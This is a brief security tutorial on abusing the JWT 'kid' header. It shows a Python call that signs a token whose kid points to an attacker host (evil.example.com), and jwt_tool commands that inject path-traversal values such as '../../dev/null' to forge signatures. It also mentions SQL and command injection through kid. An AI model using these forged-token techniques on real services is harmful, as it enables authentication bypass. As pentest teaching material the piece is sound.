JSON Web Token: JWT kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
Example #1 : Local file
{ "alg": "HS256", "typ": "JWT", "kid": "/root/res/keys/secret.key" }Example #2 : Remote file
{ "alg":"RS256", "typ":"JWT", "kid":"http://localhost:7070/privKey.key" }
The content of the file specified in the kid header will be used to generate the signature.
// Example for HS256
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret-from-secret.key
)The common ways to misuse the kid header:
Get the key content to change the payload
Change the key path to force your own
>>> jwt.encode( ... {"some": "payload"}, ... "secret", ... algorithm="HS256", ... headers={"kid": "http://evil.example.com/custom.key"}, ... )Change the key path to a file with a predictable content.
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"Modify the kid header to attempt SQL and Command Injections
Comments
No comments yet.